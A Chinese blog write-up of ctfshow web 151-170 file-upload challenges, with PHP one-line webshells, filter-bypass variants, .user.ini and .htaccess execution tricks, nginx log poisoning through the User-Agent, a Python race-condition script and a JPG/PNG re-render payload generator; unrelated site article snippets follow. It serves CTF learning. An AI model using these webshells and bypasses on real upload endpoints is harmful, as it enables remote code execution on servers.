ctfshow-web 151-170-文件上传

151.

我们首先想到就是上传一句话木马。但是看源代码限制了png。

(1)改前端代码。

这里是前端限制了上传文件类型,那我们就改一下就好了嘛,改成php。

这里直接修改不行,给大家推荐一篇简短文章,大家就会了(一开始我也不会,后面看了就懂)。

利用浏览器的开发者工具实时修改网页前端JS代码(实现绕过)_修改前端代码-CSDN博客

空白页面,应该成功。

之后就蚁剑连接。

(2)还有一种方法,我们可以不改前端,上传png文件。然后bp抓包,然后在bp里面改。

所以我先创立一个txt文件,里面写一句话木马,然后将后缀改为png。然后上传。注意:

打开bp,然后再打开,抓去到上传时的数据。

修改filename。然后上传成功。post传参即可。

CTF show 文件上传篇(web151-170,看这一篇就够啦)_ctfshow web151-CSDN博客

152.

像上题一样更改前端校验,上传php文件显示不符合上传类型。这一关与上一关的不同之处便是多了个 Content-Type ,所以我们单靠修改前端代码是无法绕过的.

需要上传规定的png文件,所以将php后缀改成png,再上传,就是上面第二种方法。然后蚁剑连。

153.

有点不会,先看个文章,里面有例子比较容易懂。

.user.ini导致文件上传绕过 - sijidou - 博客园

文件上传漏洞 — .user.ini绕过、后缀大小写绕过_.user.ini 文件上传漏洞-CSDN博客

.user.ini的作用1.配置 PHP 设置:用户可以通过 .user.ini 文件来设置特定目录和子目录下的 PHP 配置。这些设置会覆盖全局 php.ini 的相应配置。2.特定目录的配置:与 .htaccess 文件类似,.user.ini 文件允许特定目录的细粒度配置,而不会影响整个服务器的设置。利用 .user.ini 绕过限制由于 .user.ini 文件可以覆盖某些 PHP 配置,它也可能被恶意利用来绕过服务器管理员设置的限制,以下是一些可能的方式:文件上传限制:如果服务器全局设置了较低的文件上传大小限制,恶意用户可以通过 .user.ini 文件增加 upload_max_filesize 和 post_max_size,来上传更大的文件。
脚本执行时间:恶意用户可能会增加 max_execution_time 以避免脚本执行超时,从而进行更长时间的恶意活动,如暴力破解等。
内存限制:增加 memory_limit 可以帮助恶意脚本在执行时获取更多的服务器资源,可能导致拒绝服务攻击(DoS)。
PHP 文件包含漏洞auto_prepend_file在 PHP 中,当用户访问.user.ini所在目录主页文件时,auto_prepend_file所指向的文件内容,会自动进行包含,将文件内容当作php代码执行

显然,这里就是利用其进行php文件包含漏洞。先创个.user.ini.txt,里面写  auto_prepend_file=shell.png。然后将txt改成png上传。

这串内容的意思就是,在访问主页文件时,会自动包含shell.png文件,将其文件内容当在php代码执行

再上传shell.png(里面写了一句话木马)。

然后蚁剑连接。

不要跟上shell.png这个文件名!!!

权限问题:上传后的文件是否有执行权限。
路径问题:确保.user.ini和shell.php都在同一目录或者正确的路径。
环境限制:目标服务器是否允许.user.ini覆盖配置。
安全机制:允许.user.ini文件,对于上传的图片马无条件接收,并没有检验内容和文件头

CTF show 文件上传篇(web151-170,看这一篇就够啦)-CSDN博客

154.

利用允许.user.ini文件,对于上传的图片马验证不严格,并没有彻底检验文件内容

<?=eval($_POST[1]);?>   ( 过滤了php ,使用短标签 )
<?=`$_POST[1]`;?>
(过滤了eval, 使用反引号)
<script language='php'>@eval($_POST[1])</script>  ( 过滤了? )
<?php eval($_POST{1});?>  (有时候[]被过滤了, 可用 {} 可代替  [] )

首先上传.user.ini,然后上传shell.png,然后上传不了,猜测php被过滤,换成段表签形式上传,成功。跟上面就这里的区别吧,其它都一样。

155.

与154一模一样。

156.(PHP与[]绕过)

.user.ini依旧可以上传成功,但是shell不行。

成功了。看来是过滤了[].我们将[]替换成{}。({}是[]的平替)

然后就是蚁剑。

157.

.user.ini上传成功,然后shell还是不成功。用bp调一下。删了;与{}上传成功。(这里是在上文的基础上,所以也禁用了php,[])

这里一句话木马没用了,那我们就执行命令。

没有。就到上一级。

找到了,嘿嘿嘿。

158.

跟上题一模一样,没话说。

159.

依旧上传user.ini

没有用了。

发现删除()上传成功,所以过滤()。

()不能用,用反引号执行命令。

 160.

还是先上传.user.ini

使用上面方法,失败。

看wp是过滤了反引号。那就用日志包含。

<?=include"/var/log/nginx/access.log"?>

上面失败了,发现是过滤log。所以".'绕过。

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

upload/看看。看来是成功了。

发现日志文件会记录我们的UA头,我们可以将恶意代码放入UA头中来获取flag

查看源码。

161.

上传失败,应该是文件头有限制,加上gif文件头就对了。

同理上次shell。

然后改UA

162.(条件竞争)

说实话,看不懂,直接上大佬链接。我跟着复现一遍吧。

CTF show 文件上传篇(web151-170,看这一篇就够啦)_ctfshow web151-CSDN博客

GIF89a
auto_append_file=/tmp/sess_zho

然后脚本。

import requests
import threading
import re# 创建一个会话对象,保持会话的状态
session = requests.session()# 自拟的PHPSESSID,用于保持上传过程中的会话一致性
sess = 'zho'# 目标URL
url1 = "http://34da5d39-b2c1-45a3-a6bb-607e8941ca5a.challenge.ctf.show/"
url2 = "http://34da5d39-b2c1-45a3-a6bb-607e8941ca5a.challenge.ctf.show/upload"# POST请求数据,利用PHP的SESSION_UPLOAD_PROGRESS漏洞,注入恶意PHP代码
data1 = {'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'  # 使用system函数执行命令
}# 要上传的文件数据
file = {'file': '111'  # 文件名可以随意设置
}# 设置会话cookie
cookies = {'PHPSESSID': sess  # 上传过程中使用固定的PHPSESSID
}# 定义上传文件的函数,持续发送POST请求
def upload_file():while True:session.post(url1, data=data1, files=file, cookies=cookies)# 定义读取文件的函数,持续检查返回的页面内容
def check_flag():while True:response = session.get(url2)  # 访问目标URL,检查是否能获取到flagif 'flag' in response.text:  # 检查返回内容中是否包含flag# 正则匹配flag,格式为ctfshow{}flag = re.search(r'ctfshow{.+}', response.text)if flag:print(flag.group())  # 如果找到flag,打印它# 创建两个线程,一个上传文件,一个检查flag
threads = [threading.Thread(target=upload_file),threading.Thread(target=check_flag)
]# 启动所有线程
for t in threads:t.start()

原理看看上2面的文章吧。

163.

方法和上面的一样、

164

看不懂,直接附上wp,CTF show 文件上传篇(web151-170,看这一篇就够啦)-CSDN博客

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33
);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y + 1];$b = $p[$y + 2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img, './1.png');
?>

先脚本生成一个图片马,然后上传。 然后bp可以看到木马。

上传后查看图片然后在bp里修改参数(因为木马在图片里)。

 然后就是传参了。

POST /download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png&0=system1=ls

ls发现啥也没有。 

请求头修改Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded 是 HTTP 请求头中用于指定请求主体的编码格式的字
段。它的作用是告诉服务器,客户端发送的数据采用 application/x-www-form-urlencoded 格式进行编码。这
个格式通常用于 HTML 表单提交,特别是在使用 POST 方法时。

再执行命令即可。

165.(jpg二次渲染)

先找张jpg图片,然后上传,经过一次渲染。

<?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php <jpg_name.jpg>In case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.Sergey Bobrov @Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload = "<?=eval(\$_POST[1]);?>"; //注意$转义if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>

然后经过代码向图片注入木马。 在终端输入PHP  代码文件  图片文件。这里看到我试了很多。

上传二次渲染。查看图片一般如果显示了图片,说明二次渲染后木马还在。

不放心可以010查看,发现木马还在。

接下来就是命令执行,注意改post,还有加content-type头。 

此题太难了,写了2小时,因为我总是没找到合适的图片,二次渲染总是将我的木马搞没了。

经过二次渲染的jpg图片 - 搜索

我找的图片是这个,大家可以拿去用。

166.。

这题有很多解法,解法一是随便上传一个压缩包,然后bp抓包后执行命令。

ctfshow web入门文件上传web151————web170(完整)_ctf web170-CSDN博客

第二种解法是在压缩包里面插入一个木马,怎么插?我们可以在010里面改,直接将一些字符换成木马。

然后上传文件,然后下载文件时抓包。这里注意要改post,然后加content-type头。

CTF show 文件上传篇(web151-170,看这一篇就够啦)-CSDN博客

这两个方法都差不多。这题我做了很久,原因是开始没改post,然后就是没加content-type头。

167.

<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这个大概意思是shell.jpg会被当做php文件执行 

我们首先肯定是要传一个jpg文件,然后抓包后就改成htaccess。

然后上传图片马。蚁剑连接时url/upload/shell.jpg

 这里我放犯了一个错误,开始的图片马我是将木马写入一个txt文件,然后改成jpg文件,然后不行,后面想了一下,htaccess将图片马视为php文件执行,所以我将木马写入php文件,然后再改成jpg,最后成功。这与user.ini不同。

168.(基础免杀 关键词绕过)

fuzz发现反引号没查杀,可以用反引号。

169.user.ini的利用。

.user.ini生效的前提是访问本文件夹内的php文件,它才能起到配置作用
也就是说,.user.ini的同级目录中必须存在php文件才能进行利用

先上传一个zip(前端限制),然后改后缀 ,由于后端限制png,还要改png

 然后上传user.ini(利用日志文件,上传木马不行)

auto_prepend_file=/var/log/nginx/access.log

 然后在访问shell.php,再改ua头 

发现文件 

下面就没什么好讲的了。

这题先绕过前端与后端限制,然后利用要改成一个php文件上传,因为user.ini必须需要目录下有php文件,然后user.ini写入日志文件。接着就是访问刚刚的php文件,然后就是在ua头写入命令即可。user.ini的传入与php传入不分先后。但是好像先传user.ini更简单一点,下一题一样的题型,我换个顺序写写。\

170.

上还是先随便上传一个压缩包,然后改成user.ini。写入日志文件。

auto_prepend_file=/var/log/nginx/access.log

不用重复抓包,直接改成shell.php. 

 

 

看来这种顺序更加简便。

本文参考CTF show 文件上传篇(web151-170,看这一篇就够啦)-CSDN博客

ctfshow web入门文件上传web151————web170(完整)_ctfshow 文件上传151-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/488631.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据库同步中间件DBSyncer安装配置及使用

1、介绍 DBSyncer&#xff08;英[dbsɪŋkɜː]&#xff0c;美[dbsɪŋkɜː 简称dbs&#xff09;是一款开源的数据同步中间件&#xff0c;提供MySQL、Oracle、SqlServer、PostgreSQL、Elasticsearch(ES)、Kafka、File、SQL等同步场景。支持上传插件自定义同步转换业务&#xf…

SpringBoot左脚进门之常用注解

类级别注解 SpringBootApplication Configuration //表明这是一个配置类 EnableAutoConfiguration //开启自动配置 ComponentScan() //开启组件扫描1、Configuration&#xff1a; 当一个类被 Configuration 注解…

CNCF云原生生态版图

CNCF云原生生态版图 概述什么是云原生生态版图如何使用生态版图 项目和产品&#xff08;Projects and products&#xff09;会员&#xff08;Members&#xff09;认证合作伙伴与提供商&#xff08;Certified partners and providers&#xff09;无服务&#xff08;Serverless&a…

电子应用设计方案-50:智能牙刷系统方案设计

智能牙刷系统方案设计 一、引言 随着人们对口腔健康的重视程度不断提高&#xff0c;智能牙刷作为一种创新的口腔护理工具&#xff0c;能够更有效地帮助用户改善刷牙习惯和清洁效果。本方案旨在设计一款功能丰富、智能化程度高的智能牙刷系统。 二、系统概述 1. 系统目标 - 准…

遗传算法与深度学习实战(27)——进化卷积神经网络

遗传算法与深度学习实战&#xff08;27&#xff09;——进化卷积神经网络 0. 前言1. 自定义交叉算子2. 自定义突变操作符3. 进化卷积神经网络小结系列链接 0. 前言 DEAP toolbox 中提供的标准遗传操作符对于自定义的网络架构基因序列来说是不够的。这是因为任何标准的交叉算子…

希迪智驾持续亏损8.2亿:毛利率下滑,冲刺“自动驾驶矿卡第一股”

《港湾商业观察》黄懿 近日&#xff0c;希迪智驾&#xff08;湖南&#xff09;股份有限公司&#xff08;下称“希迪智驾”&#xff09;向港交所主板递交上市申请&#xff0c;联席保荐人为中金公司、中信建投国际、中国平安资本&#xff08;香港&#xff09;。 资料显示&#…

【0x0008】HCI_Create_Connection_Cancel命令详解

目录 一、命令概述 二、命令格式及参数说明 2.1. HCI_Create_Connection_Cancel 命令格式 2.2. BD_ADDR 三、返回事件及参数说明 3.1. HCI_Command_Complete 事件 3.2. HCI_Connection_Complete 事件 四、命令执行流程梳理 4.1. 命令发起 4.2. 命令接收与初步判断 4…

Elasticsearch Serverless 中的数据流自动分片

作者&#xff1a;来自 Elastic Andrei Dan 在 Elastic Cloud Serverless 中&#xff0c;我们根据索引负载自动为数据流配置最佳分片数量&#xff0c;从而使用户无需摆弄分片。 传统上&#xff0c;用户会更改数据流的分片配置&#xff0c;以处理各种工作负载并充分利用可用资源。…

Pytest-Bdd-Playwright 系列教程(15):背景(Background)

Pytest-Bdd-Playwright 系列教程&#xff08;15&#xff09;&#xff1a;背景&#xff08;Background&#xff09; 前言一、什么是背景&#xff08;Background&#xff09;二、特性文件三、测试脚本四、运行测试总结 前言 在测试的过程中&#xff0c;我们往往会遇到这样的问题&…

Excel + Notepad + CMD 命令行批量修改文件名

注意&#xff1a;该方式为直接修改原文件的文件名&#xff0c;不会生成新文件 新建Excel文件 A列&#xff1a;固定为 renB列&#xff1a;原文件名称C列&#xff1a;修改后保存的名称B列、C列&#xff0c;需要带文件后缀&#xff0c;为txt文件就是.txt结尾&#xff0c;为png图片…

GESP202412 八级【排队】题解(AC)

》》》点我查看「视频」详解》》》 [GESP202412 八级] 排队 题目描述 小杨所在班级共有 n n n 位同学&#xff0c;依次以 1 , 2 , … , n 1,2,\dots,n 1,2,…,n 标号。这 n n n 位同学想排成一行队伍&#xff0c;其中有些同学之间关系非常好&#xff0c;在队伍里需要排在…

Ubuntu22.04 docker如何发布镜像(和用git差不多)

在dockerhub上创建远程仓库&#xff1a;https://hub.docker.com/ 将本地镜像打tag&#xff0c;并修改成可以上传到 dockerhub 的形式 # 查看本地镜像# 修改镜像 ## docker tag 镜像名称:标签 新的镜像名称&#xff08;要和远程仓库dockerhub上的一致&#xff09;:新的标签pus…

C#中的string操作详解-截取、分割、连接、替换等

在C#中&#xff0c;string 类提供了许多用于操作字符串的方法&#xff0c;包括截取、分隔和连接等。以下是一些常用字符串操作的介绍和实例&#xff1a; 1. 截取字符串 Substring 方法 用于从字符串中截取子字符串。 语法&#xff1a; //从startIndex开始截取&#xff0c;…

26. Three.js案例-自定义多面体

26. Three.js案例-自定义多面体 实现效果 知识点 WebGLRenderer WebGLRenderer 是 Three.js 中用于渲染场景的主要类。它支持 WebGL 渲染&#xff0c;并提供了多种配置选项。 构造器 new THREE.WebGLRenderer(parameters) 参数类型描述parametersObject可选参数对象&…

【IC面试问题:UCIE PHY LSM AXI Cache】

IC面试问题&#xff1a;UCIE PHY LSM && AXI && Cache 1 UCIE PHY LSM有几种状态&#xff1f; 以及L1和L2这两种低功耗状态有什么区别&#xff1f;2 AXI的特性&#xff1f; 通道之间有依赖关系吗&#xff1f; master和slave的valid和ready关系&#xff1f; 写数…

PPT技巧:将幻灯片里的图片背景设置为透明

在PPT中添加了图片&#xff0c;想要将图片中的背景设置为透明或者想要抠图&#xff0c;有什么方法吗&#xff1f;今天分享两个方法。 方法一&#xff1a; 添加图片&#xff0c;选中图片之后&#xff0c;点击【图片格式】功能&#xff0c;点击最左边的【删除背景】 PPT会自动帮…

池化在深度学习中增强特征的作用

目录 ​编辑 引言 池化的基本作用与特征降维 池化的定义与目的 池化操作的实现 提取关键特征与计算效率的提升 池化对特征提取的影响 平均池化的应用 提高特征鲁棒性与过拟合的防止 池化对模型鲁棒性的贡献 池化防止过拟合的原理 增强多级特征与特征表达能力的提升…

分布式 Raft算法 总结

前言 相关系列 《分布式 & 目录》《分布式 & Raft算法 & 总结》《分布式 & Raft算法 & 问题》 参考文献 《Raft一致性算法论文译文》《深入剖析共识性算法 Raft》 简介 Raft 木筏是一种基于日志复制实现的分布式容错&一致性算法。在Raft算法…

基于强化学习Q-learning算法的栅格地图路径规划算法,可以更改地图大小及起始点,可以自定义障碍物,MATLAB代码

Q-learning是一种无模型的强化学习算法&#xff0c;它允许智能体&#xff08;agent&#xff09;在与环境&#xff08;environment&#xff09;交互的过程中学习如何通过执行动作&#xff08;actions&#xff09;来最大化累积奖励&#xff08;cumulative rewards&#xff09;。 …

JAVA学习笔记——第十一章 枚举和注解

一、引出枚举类 1.先看一个需求demo package com.hspedu.enum_;public class Enumration01 {public static void main(String[] args) {Season Spring new Season("春天", "温暖");Season Summer new Season("夏天", "炎热");Seas…